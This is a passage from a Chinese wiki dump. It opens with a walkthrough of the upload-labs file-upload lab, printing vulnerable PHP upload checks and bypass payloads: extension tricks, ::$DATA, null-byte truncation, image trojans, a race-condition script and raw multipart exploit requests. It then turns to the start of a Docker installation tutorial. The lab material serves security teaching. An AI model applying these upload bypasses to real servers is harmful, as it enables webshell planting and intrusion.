array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = 'jiangjiyue.php .';$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAecho $file_ext;if (in_array($file_ext, $deny_ext)) { echo '此文件不允许上传';} 解決方法代码中并没有对空格过滤,所以我们可以加空格点来绕过比如jiangjiyue.php .实际中加不加.要看具体环境,因为代码也会过滤掉. 第八关点号绕过代码分析12345678910111213141516171819202122232425262728# 代码没有对.过滤,而且移动上传后的文件时,文件名还是用的处理前的文件名$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_ext = strrchr($file_name, '.'); // $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 1234567891011121314151617181920212223242526272829303132# 以下代码是为了看上面代码运行后的结果,方便更好的绕过<?phpfunction deldot($s){ for ($i = strlen($s) - 1; $i > 0; $i--) { $c = substr($s, $i, 1); if ($i == strlen($s) - 1 and $c != '.') { return $s; } if ($c != '.') { return substr($s, 0, $i + 1); } }}$deny_ext = array(".php", ".php5", ".php4", ".php3", ".php2", ".html", ".htm", ".phtml", ".pht", ".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2", ".Html", ".Htm", ".pHtml", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw", ".jSv", ".jSpf", ".jHtml", ".asp", ".aspx", ".asa", ".asax", ".ascx", ".ashx", ".asmx", ".cer", ".aSp", ".aSpx", ".aSa", ".aSax", ".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", ".swf", ".htaccess", ".ini");$file_name = trim('jiangjiyue.php. .');echo '处理前'.$file_name;echo " ";$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) { $temp_file = 'jiangjiyue.php. .'; $img_path = './' . $file_name; echo '处理后'.$img_path;} else { $msg = '此文件类型不允许上传!';} 解决方法用上方代码分析出来的结果进行绕过,也可以只加一个. 第九关::$DATA绕过代码分析123456789101112131415161718192021222324252627# 没有过滤::$DATA,利用windows特性,可在后缀名中加"::$DATA"绕过$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = trim($file_ext); //首尾去空 // $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 解决方法文件名为:jiangjiyue.php::$DATA绕过 第十关点空格点绕过代码分析12345678910111213141516171819202122232425262728# deldot() 函数从末尾向前检测,检测到第一个点后,会继续向前检测,但遇到空格会停下来$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 1234567891011121314151617181920212223242526272829# 以下代码是为了看上面代码运行后的结果,方便更好的绕过<?phpfunction deldot($s){ for ($i = strlen($s) - 1; $i > 0; $i--) { $c = substr($s, $i, 1); if ($i == strlen($s) - 1 and $c != '.') { return $s; } if ($c != '.') { return substr($s, 0, $i + 1); } }}$deny_ext = array(".php", ".php5", ".php4", ".php3", ".php2", ".html", ".htm", ".phtml", ".pht", ".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2", ".Html", ".Htm", ".pHtml", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw", ".jSv", ".jSpf", ".jHtml", ".asp", ".aspx", ".asa", ".asax", ".ascx", ".ashx", ".asmx", ".cer", ".aSp", ".aSpx", ".aSa", ".aSax", ".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", ".swf", ".htaccess", ".ini");$file_name = trim('file.php. .');$file_name = deldot($file_name); //删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空echo $file_name;echo " ";if (!in_array($file_ext, $deny_ext)) { echo '成功';} else { echo '此文件类型不允许上传!';} 解决方法文件名为:jiangjiyue.php. .绕过 第十一关双写绕过代码分析1234567891011121314151617181920$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { // 黑名单 $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini"); $file_name = trim($_FILES['upload_file']['name']); // 将后缀名替换为空 $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 1234567891011121314151617181920212223# 以下代码是为了看上面代码运行后的结果,方便更好的绕过<?phpfunction deldot($s){ for ($i = strlen($s) - 1; $i > 0; $i--) { $c = substr($s, $i, 1); if ($i == strlen($s) - 1 and $c != '.') { return $s; } if ($c != '.') { return substr($s, 0, $i + 1); } }}// 黑名单$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");// $file_name = 'jiangjiyue.php';$file_name = 'jiangjiyue.pphphp';// 将后缀名替换为空$file_name = str_ireplace($deny_ext,"", $file_name);echo '后缀名:'.$file_name; 解决方法根据代码分析的结果构造Payload:jiangjiyue.pphphp 第十二关%00截断代码分析1234567891011121314151617181920212223242526# 白名单$is_upload = false;$msg = null;if(isset($_POST['submit'])){ // 白名单 $ext_arr = array('jpg','png','gif'); // substr ( string $string , int $start [, int $length ] ) : string // 返回字符串 string 由 start 和 length 参数指定的子字符串. // strrpos - 计算指定字符串在目标字符串中最后一次出现的位置 // 返回 10 // substr(jiangjiyue.php,10+1) // file_ext = php $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上传出错!'; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; }} 解决方法上传的路径可控,这里可以使用%00截断,成功上传后,%00后的不会被识别 第十三关00截断数据包分析和十一关不同的是这次的save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码. 解决方法二进制00截断 第十四关文件头伪造代码分析1234567891011121314151617181920212223242526# 通过读文件的前2个字节判断文件类型,因此可以修改包类型function getReailFileType($filename){ $file = fopen($filename, "rb"); $bin = fread($file, 2); //只读2字节 fclose($file); // unpack - 从字符串中解包二进制数据 $strInfo = @unpack("C2chars", $bin); // intval - 获取变量的整数值 // 返回值: 返回一个关联数组,其中包含二进制字符串的未打包元素. $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType;} 解决方法12# 将Content-Type和文件后缀名修改为image/gif以及.jpg# 在文件头中加入:GIF89a 第十五关文件头伪造代码分析123456789101112131415161718192021# 根据图像类型判断是否允许上传function isImage($filename){ $types = '.jpeg|.png|.gif'; // file_exists - 检查文件或目录是否存在 if(file_exists($filename)){ // getimagesize - 取得图像大小 /*返回一个具有四个单元的数组.索引 0 包含图像宽度的像素值,索引 1 包含图像高度的像素值.索引 2 是图像类型的标记:1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM.这些标记与 PHP 4.3.0 新加的 IMAGETYPE 常量对应.索引 3 是文本字符串,内容为"height="yyy" width="xxx"",可直接用于 IMG 标记. */ $info = getimagesize($filename); // image_type_to_extension - 取得图像类型的文件后缀 $ext = image_type_to_extension($info[2]); // stripos - 查找字符串首次出现的位置(不区分大小写) if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; }} 解决方法和上一关一样直接上传图片马 第十六关文件类型绕过12345678910111213141516171819// 这里用到php_exif模块来判断文件类型,还是直接就可以利用图片马就可进行绕过:function isImage($filename){ //需要开启php_exif模块 $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; }} 解决方法和上一关一样直接上传图片马 第十七关二次渲染代码分析123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384$is_upload = false;$msg = null;if (isset($_POST['submit'])){ // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径 $filename = $_FILES['upload_file']['name']; $filetype = $_FILES['upload_file']['type']; $tmpname = $_FILES['upload_file']['tmp_name']; $target_path=UPLOAD_PATH.'/'.basename($filename); // 获得上传文件的扩展名 $fileext= substr(strrchr($filename,"."),1); //判断文件后缀与类型,合法才进行上传操作 if(($fileext == "jpg") && ($filetype=="image/jpeg")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefromjpeg($target_path); if($im == false){ $msg = "该文件不是jpg格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".jpg"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagejpeg($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; } }else if(($fileext == "png") && ($filetype=="image/png")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefrompng($target_path); if($im == false){ $msg = "该文件不是png格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".png"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagepng($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; } }else if(($fileext == "gif") && ($filetype=="image/gif")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefromgif($target_path); if($im == false){ $msg = "该文件不是gif格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".gif"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagegif($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; } }else{ $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!"; }} 解决方法 先上传一个正常的gif文件,然后在下载下来用010对比上传前后的gif动图 修改源文件中和渲染后一样的地方 将保存后的图片重新上传 第十八关条件竞争 基本概念:竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中. 开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果. 漏洞逻辑:首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件再删掉. 代码分析123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990<?php// 包含配置文件include '../config.php';// 包含头部文件include '../head.php';// 包含菜单文件include '../menu.php';// 初始化上传状态和消息$is_upload = false;$msg = null;// 处理表单提交if(isset($_POST['submit'])){ // 允许的文件类型 $ext_arr = array('jpg','png','gif'); // 获取上传文件名 $file_name = $_FILES['upload_file']['name']; // 获取临时文件路径 $temp_file = $_FILES['upload_file']['tmp_name']; // 获取文件扩展名 $file_ext = substr($file_name,strrpos($file_name,".")+1); // 构建上传文件路径 $upload_file = UPLOAD_PATH . '/' . $file_name; echo $upload_file; // 尝试移动上传文件 if(move_uploaded_file($temp_file, $upload_file)){ // 检查文件类型 if(in_array($file_ext,$ext_arr)){ // 生成新的文件名 $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; // 重命名上传文件 rename($upload_file, $img_path); // 设置上传状态为成功 $is_upload = true; }else{ // 不允许的文件类型,设置错误消息 $msg = "只允许上传.jpg|.png|.gif类型文件!"; // 删除上传的文件 unlink($upload_file); } }else{ // 移动文件失败,设置错误消息和错误代码 $msg = '上传出错! 错误代码: ' . $_FILES['upload_file']['error']; }}?><div id="upload_panel"> <ol> <li> <h3>任务</h3> <p>上传一个<code>webshell</code>到服务器.</p> </li> <li> <h3>上传区</h3> <form enctype="multipart/form-data" method="post"> <p>请选择要上传的图片:<p> <input class="input_file" type="file" name="upload_file"/> <input class="button" type="submit" name="submit" value="上传"/> </form> <div id="msg"> <?php if($msg != null){ echo "提示:".$msg; } ?> </div> <div id="img"> <?php if($is_upload){ echo '<img src="'.$img_path.'" width="250px" />'; } ?> </div> </li> <?php // 根据参数决定是否显示代码 if($_GET['action'] == "show_code"){ include 'show_code.php'; } ?> </ol></div><?php// 包含底部文件include '../footer.php';?> 解决方法123456789101112# Python脚本import requestsurl1 = "http://192.168.2.240/upload-labs/upload/jiangjiyue.php"url2 = "http://192.168.2.240/upload-labs/upload/flag.php"while True: a1 = requests.get(url1) a2 = requests.get(url2) # print(a2) if a2.status_code == 200: print('success') break 12# php脚本<?php fwrite(fopen('flag.php', w), "<?php phpinfo();?>"); ?> 先启动Python脚本,再去用burp发包 第十九关图片马绕过代码分析123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115# 分析:本Pass做了白名单校验,文件上传后先保存在对象中,随后对文件进行判断存在、检查扩展名、检查大小、重命名、移动操作,没有判断文件头和二次渲染.我们可以使用图片木马配合文件包含漏洞进行绕过.(虽然进行了移动和重命名,但是网页会回显地址)# HTTP EXP:直接将shell.php改为shell.jpg,上传,随后使用文件包含漏洞访问该文件(本Pass将文件上传至根目录下)$is_upload = false;$msg = null;if (isset($_POST['submit'])){ require_once("./myupload.php"); $imgFileName =time(); $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName); $status_code = $u->upload(UPLOAD_PATH); switch ($status_code) { case 1: $is_upload = true; $img_path = $u->cls_upload_dir . $u->cls_file_rename_to; break; case 2: $msg = '文件已经被上传,但没有重命名.'; break; case -1: $msg = '这个文件不能上传到服务器的临时文件存储目录.'; break; case -2: $msg = '上传失败,上传目录不可写.'; break; case -3: $msg = '上传失败,无法上传该类型文件.'; break; case -4: $msg = '上传失败,上传的文件过大.'; break; case -5: $msg = '上传失败,服务器已经存在相同名称文件.'; break; case -6: $msg = '文件无法上传,文件不能复制到目标目录.'; break; default: $msg = '未知错误!'; break; }}//myupload.phpclass MyUpload{.................. var $cls_arr_ext_accepted = array( ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt", ".html", ".xml", ".tiff", ".jpeg", ".png" );.................. /** upload() ** ** Method to upload the file. ** This is the only method to call outside the class. ** @para String name of directory we upload to ** @returns void **/ function upload( $dir ){ $ret = $this->isUploadedFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->setDir( $dir ); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->checkExtension(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->checkSize(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } // 如果检查文件是否存在的标志设置为1 if( $this->cls_file_exists == 1 ){ $ret = $this->checkFileExists(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } } // 我们已经准备好将文件移动到目标 $ret = $this->move(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } // 检查是否需要重命名文件 if( $this->cls_rename_file == 1 ){ $ret = $this->renameFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } } return $this->resultUpload( "SUCCESS" ); }}; 解决方法直接上传图片马,然后配合文件包含 第二十关大小写绕过1234567891011121314151617181920212223242526# 本Pass只对保存名进行黑名单判断,该做的防护全部没做.所以我们进行大小写绕过,使用BurpSuite截包,直接将保存名改为shell.Php即可绕过$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = $_POST['save_name']; $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); if(!in_array($file_ext,$deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; }else{ $msg = '上传出错!'; } }else{ $msg = '禁止保存为该类型文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 解决方法12345678910# exp------WebKitFormBoundaryvTf6MJ5w8rVUfWjtContent-Disposition: form-data; name="upload_file"; filename="jiangjiyue.phP"Content-Type: application/octet-stream<?php phpinfo();?>------WebKitFormBoundaryvTf6MJ5w8rVUfWjtContent-Disposition: form-data; name="save_name"upload-19.pHp 第二十一代码审计绕过代码分析本Pass做了如下校验: 1. 验证MIME类型(这个很好解决) 2. 验证文件名.验证文件名操作如下: 1. empty()配合三运运算符检查文件名是否为空. 2. 如果$file不为数组则将$file打散为数组.(这步很关键) 3. end()函数提取数组最后一个元素为后缀名. 4. 确定白名单 5. 将文件名设置为数组索引为零的元素与数组索引为元素总个数减一的元素合并. 6. 上传、改名、移动. 7. 第二步使用if判断$file是否为数组,是则跳过,不是则打散为数组.所以我们可以在上传中途控制save_name参数,随意操作POST数组索引进行绕过,这样$file已经是数组,不会被重新打散. 解决方法1234567891011121314151617181920212223242526# HTTP EXP:先将Content-type改为image/jpegreset()取数组索引为0的元素为文件名,所以将save_name[0]设置为"shell.php".save_name[1]不设置,使count()结果为2.save_name[2]为jpg.拼接结果为shell.php,$ext值为jpg.------WebKitFormBoundaryB5mJk8YZmYu9lgAfContent-Disposition: form-data; name="upload_file"; filename="jiangjiyue.php"Content-Type: image/jpeg<?php phpinfo();?>------WebKitFormBoundaryB5mJk8YZmYu9lgAfContent-Disposition: form-data; name="save_name[0]"shell.php/------WebKitFormBoundaryB5mJk8YZmYu9lgAfContent-Disposition: form-data; name="save_name[2]"jpg------WebKitFormBoundaryB5mJk8YZmYu9lgAfContent-Disposition: form-data; name="submit"上传------WebKitFormBoundaryB5mJk8YZmYu9lgAf--"},{"title":"二. Docker从入门到精通","path":"/wiki/VirtDocs/二. Docker从入门到精通.html","content":"总字符数: 30.21K 代码: 17.44K, 文本: 7.08K 预计阅读时间: 1.78 小时 https://www.docker.com/get-starteddesc:truehttps://www.docker.com/get-starteddesc:true https://docker_practice.gitee.io/zh-cn/https://docker_practice.gitee.io/zh-cn/ 1.什么是 Docker1.1 官方定义 We have a complete container solution for you - no matter who you are and where you are on your containerization journey. 翻译: 我们为你提供了一个完整的容器解决方案,不管你是谁,不管你在哪,你都可以开始容器的的旅程. 官方定义: docker是一个容器技术. 1.2 Docker的起源 Docker 最初是 dotCloud 公司创始人 Solomon Hykes 在法国期间发起的一个公司内部项目,它是基于 dotCloud 公司多年云服务技术的一次革新,并于 2013 年 3 月以 Apache 2.0 授权协议开源,主要项目代码在 GitHub 上进行维护.Docker 项目后来还加入了 Linux 基金会,并成立推动 开放容器联盟(OCI). Docker 自开源后受到广泛的关注和讨论,至今其 GitHub 项目 已经超过 5 万 7 千个星标和一万多个 fork.甚至由于 Docker 项目的火爆,在 2013 年底,dotCloud 公司决定改名为 Docker.Docker 最初是在 Ubuntu 12.04 上开发实现的;Red Hat 则从 RHEL 6.5 开始对 Docker 进行支持;Google 也在其 PaaS 产品中广泛应用 Docker. Docker 使用 Google 公司推出的 Go 语言 进行开发实现,基于 Linux 内核的 cgroup,namespace,以及 OverlayFS 类的 Union FS 等技术,对进程进行封装隔离,属于操作系统层面的虚拟化技术.由于隔离的进程独立于宿主和其它的隔离的进程,因此也称其为容器. 2.为什么是Docker 在开发的时候,在本机测试环境可以跑,生产环境跑不起来这里我们拿java Web应用程序举例,我们一个java Web应用程序涉及很多东西,比如jdk、tomcat、mysql等软件环境.当这些其中某一项版本不一致的时候,可能就会导致应用程序跑不起来这种情况.Docker则将程序以及使用软件环境直接打包在一起,无论在那个机器上保证了环境一致.优势1: 一致的运行环境,更轻松的迁移 服务器自己的程序挂了,结果发现是别人程序出了问题把内存吃完了,自己程序因为内存不够就挂了这种也是一种比较常见的情况,如果你的程序重要性不是特别高的话,公司基本上不可能让你的程序独享一台服务器的,这时候你的服务器就会跟公司其他人的程序共享一台服务器,所以不可避免地就会受到其他程序的干扰,导致自己的程序出现问题.Docker就很好解决了环境隔离的问题,别人程序不会影响到自己的程序.优势2:对进程进行封装隔离,容器与容器之间互不影响,更高效的利用系统资源 公司要弄一个活动,可能会有大量的流量进来,公司需要再多部署几十台服务器在没有Docker的情况下,要在几天内部署几十台服务器,这对运维来说是一件非常折磨人的事,而且每台服务器的环境还不一定一样,就会出现各种问题,最后部署地头皮发麻.用Docker的话,我只需要将程序打包到镜像,你要多少台服务,我就给力跑多少容器,极大地提高了部署效率.优势3: 通过镜像复制N多个环境一致容器 3.Docker和虚拟机区别 关于Docker与虚拟机的区别,我在网上找到的一张图,非常直观形象地展示出来,话不多说,直接上图. 比较上面两张图,我们发现虚拟机是携带操作系统,本身很小的应用程序却因为携带了操作系统而变得非常大,很笨重.Docker是不携带操作系统的,所以Docker的应用就非常的轻巧.另外在调用宿主机的CPU、磁盘等等这些资源的时候,拿内存举例,虚拟机是利用Hypervisor去虚拟化内存,整个调用过程是虚拟内存->虚拟物理内存->真正物理内存,但是Docker是利用Docker Engine去调用宿主的的资源,这时候过程是虚拟内存->真正物理内存. 传统虚拟机 Docker容器 磁盘占用 几个GB到几十个GB左右 几十MB到几百MB左右 CPU内存占用 虚拟操作系统非常占用CPU和内存 Docker引擎占用极低 启动速度 (从开机到运行项目)几分钟 (从开启容器到运行项目)几秒 安装管理 需要专门的运维技术 安装、管理方便 应用部署 每次部署都费时费力 从第二次部署开始轻松简捷 耦合性 多个应用服务安装到一起,容易互相影响 每个应用服务一个容器,达成隔离 系统依赖 无 需求相同或相似的内核,目前推荐是Linux 4.Docker的安装4.1 安装docker(centos7.x) 卸载原始docker 1sudo yum remove docker docker-client docker-client-latest docker-common docker-latest docker-latest-logrotate docker-logrotate docker-engine 安装docker依赖 1sudo yum install -y yum-utils device-mapper-persistent-data lvm2 设置docker的yum源 1sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo 安装最新版的docker 1sudo yum install docker-ce docker-ce-cli containerd.io -y 指定版本安装docker 123yum list docker-ce --showduplicates | sort -r# sudo yum install docker-ce-<VERSION_STRING> docker-ce-cli-<VERSION_STRING> containerd.iosudo yum install docker-ce-18.09.5-3.el7 docker-ce-cli-18.09.5-3.el7 containerd.io 启动docker 1234# 开机自启dockersudo systemctl enable docker# 启动dockersudo systemctl start docker 关闭docker 1sudo systemctl stop docker 测试docker安装 1sudo docker run hello-world 4.2 bash安装(通用所有平台) 在测试或开发环境中 Docker 官方为了简化安装流程,提供了一套便捷的安装脚本,CentOS 系统上可以使用这套脚本安装,另外可以通过 --mirror 选项使用国内源进行安装:执行这个命令后,脚本就会自动的将一切准备工作做好,并且把 Docker 的稳定(stable)版本安装在系统中. 12curl -fsSL get.docker.com -o get-docker.shsudo sh get-docker.sh --mirror AzureChinaCloud 启动docker 12sudo systemctl enable dockersudo systemctl start docker 创建docker用户组 1sudo groupadd docker 将当前用户加入docker组 1sudo usermod -aG docker $USER 测试docker安装是否正确 1docker run hello-world 5.Docker 的核心架构 镜像: 一个镜像代表一个应用环境,他是一个只读的文件,如 mysql镜像,tomcat镜像,nginx镜像等 容器: 镜像每次运行之后就是产生一个容器,就是正在运行的镜像,特点就是可读可写 仓库:用来存放镜像的位置,类似于maven仓库,也是镜像下载和上传的位置 dockerFile:docker生成镜像配置文件,用来书写自定义镜像的一些配置 tar:一个对镜像打包的文件,日后可以还原成镜像 6. Docker 配置阿里镜像加速服务6.1 docker 运行流程 6.2 docker配置阿里云镜像加速 访问阿里云登录自己账号查看docker镜像加速服务 12345678sudo mkdir -p /etc/dockersudo tee /etc/docker/daemon.json <<-'EOF'{ "registry-mirrors": ["https://lz2nib3q.mirror.aliyuncs.com"]}EOFsudo systemctl daemon-reloadsudo systemctl restart docker 验证docker的镜像加速是否生效 1234567[root@localhost ~]# docker info .......... 127.0.0.0/8 Registry Mirrors: 'https://lz2nib3q.mirror.aliyuncs.com/' Live Restore Enabled: false Product License: Community Engine 7.Docker的入门应用7.1 docker 的第一个程序12345678910111213141516171819202122[root@localhost ~]# docker run hello-worldHello from Docker!This message shows that your installation appears to be working correctly.To generate this message, Docker took the following steps: 1. The Docker client contacted the Docker daemon. 2. The Docker daemon pulled the "hello-world" image from the Docker Hub. (amd64) 3. The Docker daemon created a new container from that image which runs the executable that produces the output you are currently reading. 4. The Docker daemon streamed that output to the Docker client, which sent it to your terminal.To try something more ambitious, you can run an Ubuntu container with: docker run -it ubuntu bashShare images, automate workflows, and more with a free Docker ID: https://hub.docker.com/For more examples and ideas, visit: https://docs.docker.com/get-started/ 思考:我们输入docker run hello-world之后发生了什么? 8.常用命令8.1 辅助命令1234# 